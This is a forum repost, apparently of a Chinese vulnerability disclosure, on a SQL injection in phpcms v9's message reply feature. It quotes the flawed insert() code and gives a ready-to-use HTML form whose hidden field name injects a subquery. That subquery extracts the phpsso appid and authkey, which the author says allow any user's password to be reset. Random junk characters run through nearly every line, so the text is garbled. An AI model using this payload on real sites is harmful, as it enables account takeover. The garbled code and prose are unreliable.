|
|
简要描述:
3 x: z8 d: H! }# z2 q
" j- ^1 {. V8 w" z5 P- Z$ o第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
) O; k- _# P5 {( v
& T0 R; i, H1 K) z明天再更新下一个漏洞。
) r5 o- n1 k4 X% ~7 Y/ @详细说明:
/ U+ s' t8 E+ K1 W' w0 Z" y$ l" i/ E在/phpcms9/phpcms/modules/message/index.php中有代码如下:, E* T7 I/ C- K% z3 u0 u2 a
1 Z1 G6 A# Z+ x7 c' b: M3 e$messageid = $this->message_db->insert($_POST['info'],true);2 e7 Q) d; n0 O7 Y: x
# M% `: ~' n% u3 e* l% s3 i7 j) }3 t) c* \' w
insert方法是key value的,代码如下:, v( i! t+ H7 ]( Y& v4 y
# c9 s- j( ^: ^* ^public function insert($data, $table, $return_insert_id = false, $replace = false) {" Y6 G) O/ D" M* Y. u) O
if(!is_array( $data ) || $table == '' || count($data) == 0) {6 ]# n- ^5 m8 @" ^
return false;8 s6 G! Z1 p6 k7 p( {6 E! M
}
# J+ m* ^2 `" C. m3 P # q; Y$ c' a2 \" Q1 q# r4 E$ F
$fielddata = array_keys($data);2 N' N( L1 f0 L! I& i5 U( t( A5 A
$valuedata = array_values($data);* S+ i& I; K3 t. X0 n
array_walk($fielddata, array($this, 'add_special_char'));
* y& x7 B& `# W& I/ s9 B9 p array_walk($valuedata, array($this, 'escape_string'));) Q; {. Q" K, c1 w
4 ~9 D: c4 I6 o+ a0 o* s$ r $field = implode (',', $fielddata);
$ f3 E" W; p* B R$ c9 @- i $value = implode (',', $valuedata);& c8 m9 C; ]; ^+ e, C7 J) a
3 z7 C) H, i! k0 t% A# E! a2 H
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';# l. \* Z" `4 h8 ?( j1 W8 @* \
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
2 S. E1 x2 @% D& a% V- W $return = $this->execute($sql);( U" |( q/ o7 r: f$ t3 n
return $return_insert_id ? $this->insert_id() : $return;7 L) W; v& {. [0 j
}
4 E6 B) q9 F8 w z$ c
# p5 ~& V: ?& }
% ?3 F; i: l9 s7 `; A/ }嗯,很遗憾的是
/ l5 g0 y, ]3 y. |
9 W( _' v: P. w+ p/ karray_walk($fielddata, array($this, 'add_special_char'));& Y3 g! c7 |4 A4 N8 V
7 ?% ~4 a& v$ m* P
' H$ i% E1 D8 W9 n中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
" z% g5 R' G7 f0 B- W5 A, E& u Y/ G
3 |% x. m0 u/ Q* m5 z1 \到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
* o$ V, f) D4 l- x7 v
& f. {7 k& h8 ~3 ^' ]漏洞证明:
" A% Y, ~' i7 D" R读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
+ m" z) J9 L% q% F$ f) o
: b* |3 p) n8 o: R
$ ~" c, {1 ?% Q+ L5 V5 m表单如下:用户名什么的得自己改一改。7 \0 R* G3 |+ ^+ @9 q
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform"> ?7 a! m# n V( K4 B# `
<table width="100%" cellspacing="0" class="table_form">" Y: o* E% Z }* u4 F
<tr>5 m2 t9 B# M& B* ]5 y3 \
<th>标 题:</th>
, b" d! M9 j v: F7 W, A5 r<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>' B. Z* R; K/ d
</tr>
5 e, p: h! t6 a# J2 ^7 Y<tr>
" v9 _' |$ q- f6 U<th>内 容:</th>: x. ]. C u) p3 J4 V
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>% q" |% k$ f0 G e0 p3 \; `
</tr>
( ~# D9 c/ D( |( Z j) z<input type="hidden" name="info[replyid]" value="2" />
0 W, }; B% Y, o: O<input type="hidden" name="info[send_to_id]" value="cc" />
# G1 L% i q1 X* _5 F<input type="hidden" name="info[send_from_id]" value="hh">4 a& | {! f8 B) r. T2 ?0 |% V- E
<!-- 漏洞的利用重点在这里开始 -->
9 S* H2 X. a% J<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> 1 ]3 v) ]' i* N
<!-- 漏洞的利用重点在这里结束 -->
/ `- C% b* J4 T, U) I- b& q<tr>/ |: ?& y, B; v! P6 b7 r
<th>验证码:</th>4 n) j3 H8 l8 `" _$ |" D& T
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
" ?% C7 J9 o4 e. A, Y" H; g4 L) r1 }</tr>
! G+ d! d/ e# @$ M9 ?8 b<tr>
8 w/ p6 a- {/ S; Z4 d2 }<td></td>: Y4 H5 i3 T5 Z. k! M0 q
<td colspan="2"><label>/ L" V5 O7 |: J& }6 r
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
0 s. A# z1 t, {+ j% b</label></td>. n* _' ~( _, c" [5 Z, C0 K) l0 |
</tr>
2 J8 X5 O5 M: z$ p/ h0 v; t$ I4 i</table>
2 Y h, J. O5 t, @) f0 n, z6 G& ^</form>
2 ]- J1 Q9 S( }! `- |* A% t在add_special_char函数内对key做过滤就可以了。
0 u' g) E" U5 V4 a9 P9 V4 k- y Z& M. b; f
0 Y1 v* r9 o% s( O2 e" q9 G* ^: f' c7 H8 l% \! c# |
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|